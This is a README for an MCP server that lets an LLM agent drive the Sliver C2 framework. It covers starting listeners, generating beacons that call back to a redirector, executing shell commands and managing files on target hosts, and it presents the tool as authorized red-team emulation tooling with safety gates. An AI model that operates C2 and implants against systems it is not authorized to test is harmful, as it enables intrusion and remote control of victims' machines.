sliver-mcp
A Model Context Protocol server for the Sliver C2 framework that exposes operator tools like listeners, implant generation, sessions, command execution, and file operations for LLM-driven adversary emulation.
README
███████╗██╗ ██╗██╗ ██╗███████╗██████╗ ███╗ ███╗ ██████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗ ████╗ ████║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝████╗██╔████╔██║██║ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗╚═══╝██║╚██╔╝██║██║ ██╔═══╝
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║ ██║ ╚═╝ ██║╚██████╗██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝
drive the Sliver C2 operator surface from an AI agent
A Model Context Protocol server for the
Sliver C2 framework. It exposes the Sliver operator
surface — listeners, implant/beacon generation, sessions and beacons, command execution, file
operations, and a structured handoff — as mcp__sliver__* tools an LLM agent can drive.
It is the C2 layer of the AI-offsec stack, built to slot in alongside the
p0rtix (recon) and Metasploit (exploitation) MCP servers
and orchestrated by the dagar-red skill system. It
mirrors their conventions: Python + FastMCP, async tools, structured-dict returns, and a
noise / arm_dangerous safety gate.
⚠️ Authorized use only. This drives a live C2 framework. Use it only against infrastructure you own or are explicitly authorized to test — owned labs, CTFs, and contracted engagements. It is built for adversary emulation: standing up realistic C2 so defenders can test and improve detection and response. The noise tiers and the
arm_dangerousgate exist to keep operation deliberate and in scope.
⚡ Quick start
# install
git clone git@github.com:v0idravl/sliver-mcp.git && cd sliver-mcp
python3 -m venv venv && ./venv/bin/pip install -e .
# register with Claude Code (see below), then in-agent:
connect() # attach to your team server
set_noise("yellow") # allow actions that touch a host
start_https_listener(port=443)
generate_beacon(c2_host="<redirector>", os="windows")
# … deliver the beacon, then …
poll_events(); list_sessions(); execute_command(id, "whoami")
Requires Python ≥ 3.11 and a reachable Sliver team server with an operator config (.cfg).
See docs/live-test.md for standing up a local server and generating one.
🧠 How it relates to Sliver's built-in MCP
Sliver ships an experimental built-in MCP, but it is filesystem-only (≈11 tools: fs_ls,
fs_cat, fs_rm, …). sliver-mcp is a superset focused on the full operator workflow —
listeners, payload generation, sessions/beacons, execution, and cross-tool handoff — so an agent
can run an engagement end to end.
🔌 Register with Claude Code
Add to ~/.claude.json (or via claude mcp add). Point SLIVER_CONFIG at your operator config:
"sliver": {
"type": "stdio",
"command": "/home/youruser/projects/sliver-mcp/venv/bin/sliver-mcp",
"args": [],
"env": { "SLIVER_CONFIG": "/home/youruser/.sliver-client/configs/operator.cfg" }
}
The server starts whether or not the team server is up — call connect() first; tools that need
a live client return a structured "not connected" error until it succeeds.
🧰 Tool surface (mcp__sliver__*)
| Category | Tools | What they do |
|---|---|---|
| Connection / state | connect, status, get_version, poll_events, disconnect |
attach to the team server, check health, drain the async event queue (new callbacks, task results) |
| Listeners | start_https_listener, start_http_listener, start_mtls_listener, start_dns_listener, start_wg_listener, list_jobs, kill_job |
stand up / tear down C2 listeners across protocols |
| Implant generation | generate_implant, generate_beacon, list_implant_builds, list_implant_profiles, regenerate_implant |
build session implants and async beacons; reuse profiles and prior builds |
| Sessions / beacons | list_sessions, list_beacons, session_info, beacon_info, kill_session, kill_beacon |
enumerate and inspect callbacks; retire them |
| Execution | execute, execute_command |
run a binary / run a shell command on a session or beacon |
| File operations | ls, pwd, cd, mkdir, download, upload, rm |
navigate and move files on the target |
| Pivots | list_pivots |
enumerate pivot listeners on a session |
| Handoff | export_handoff, ingest_handoff |
exchange C2 state with the rest of the stack |
| Safety | set_noise, arm_dangerous |
raise the noise ceiling / unlock destructive actions |
🚦 Safety / noise model
Every tool carries a noise tier. A call above the current ceiling is refused with a structured reason — never silently downgraded.
| Tier | Meaning | Examples |
|---|---|---|
passive |
read-only state | status, list_sessions, export_handoff |
green |
build / stand up our own infra | listeners, generate_*, ls, download |
yellow |
actions that touch the target | execute, upload, kill_session |
red |
destructive | rm (also requires arm_dangerous()) |
The default ceiling is green: call set_noise("yellow") before running commands on a host
(the sliver-ops loop does this explicitly), and arm_dangerous() to unlock rm.
🔁 Typical loop
connect()
set_noise("yellow")
start_https_listener(port=443, domain="<redirector>")
generate_beacon(c2_host="<redirector>", os="windows", interval=60, jitter=30)
# … deliver the beacon (payload-delivery / loader-injection-tradecraft) …
poll_events() # watch for the callback
list_sessions()
execute_command(target_id, "whoami")
export_handoff() # feed C2 state back to internal-dispatch
Beacons vs sessions
execute and the file tools accept either a session id (interactive, low latency) or a
beacon id (asynchronous — the result returns after the next check-in, every interval ±
jitter seconds). Use poll_events() to watch for new callbacks and task completion.
⚠️ Known limitations (v1)
These reflect the current sliver-py surface, not the design:
- No client-side SOCKS / port-forward tunnels. sliver-py does not implement the tunnel
streaming, so only
list_pivotsis exposed. Use the Sliver console forsocks/portfwd. - No interactive PTY shell. A streaming PTY can't be a single request/response tool;
execute_commandcovers command execution. - No
cp/chmod/chownand no loot/creds store — not in sliver-py's base command set. Planned once upstream exposes them.
🩹 Troubleshooting
| Symptom | Fix |
|---|---|
| Every tool returns "not connected" | Call connect() first. The server starts without the team server; tools needing a live client wait for a successful connect. |
connect() fails |
Check SLIVER_CONFIG points at a valid operator .cfg, and that the team server is reachable (host/port in the config). See docs/live-test.md. |
| A call is "refused: above noise ceiling" | Raise it deliberately: set_noise("yellow") for target-touching actions, arm_dangerous() for rm. |
| No callback after delivery | poll_events() drains the async queue; beacons only report on the next interval ± jitter check-in. |
| Need SOCKS / portfwd | Not exposed (see limitations) — use the Sliver console for now. |
🧪 Tests
./venv/bin/pip install -e '.[dev]'
./venv/bin/pytest # 64 tests, no live server required
The suite mocks sliver-py, so it is green on a clean machine. For a live end-to-end smoke test,
see docs/live-test.md.
License
MIT. See LICENSE.
推荐服务器
Baidu Map
百度地图核心API现已全面兼容MCP协议,是国内首家兼容MCP协议的地图服务商。
Playwright MCP Server
一个模型上下文协议服务器,它使大型语言模型能够通过结构化的可访问性快照与网页进行交互,而无需视觉模型或屏幕截图。
Magic Component Platform (MCP)
一个由人工智能驱动的工具,可以从自然语言描述生成现代化的用户界面组件,并与流行的集成开发环境(IDE)集成,从而简化用户界面开发流程。
Audiense Insights MCP Server
通过模型上下文协议启用与 Audiense Insights 账户的交互,从而促进营销洞察和受众数据的提取和分析,包括人口统计信息、行为和影响者互动。
VeyraX
一个单一的 MCP 工具,连接你所有喜爱的工具:Gmail、日历以及其他 40 多个工具。
graphlit-mcp-server
模型上下文协议 (MCP) 服务器实现了 MCP 客户端与 Graphlit 服务之间的集成。 除了网络爬取之外,还可以将任何内容(从 Slack 到 Gmail 再到播客订阅源)导入到 Graphlit 项目中,然后从 MCP 客户端检索相关内容。
Kagi MCP Server
一个 MCP 服务器,集成了 Kagi 搜索功能和 Claude AI,使 Claude 能够在回答需要最新信息的问题时执行实时网络搜索。
e2b-mcp-server
使用 MCP 通过 e2b 运行代码。
Neon MCP Server
用于与 Neon 管理 API 和数据库交互的 MCP 服务器
Exa MCP Server
模型上下文协议(MCP)服务器允许像 Claude 这样的 AI 助手使用 Exa AI 搜索 API 进行网络搜索。这种设置允许 AI 模型以安全和受控的方式获取实时的网络信息。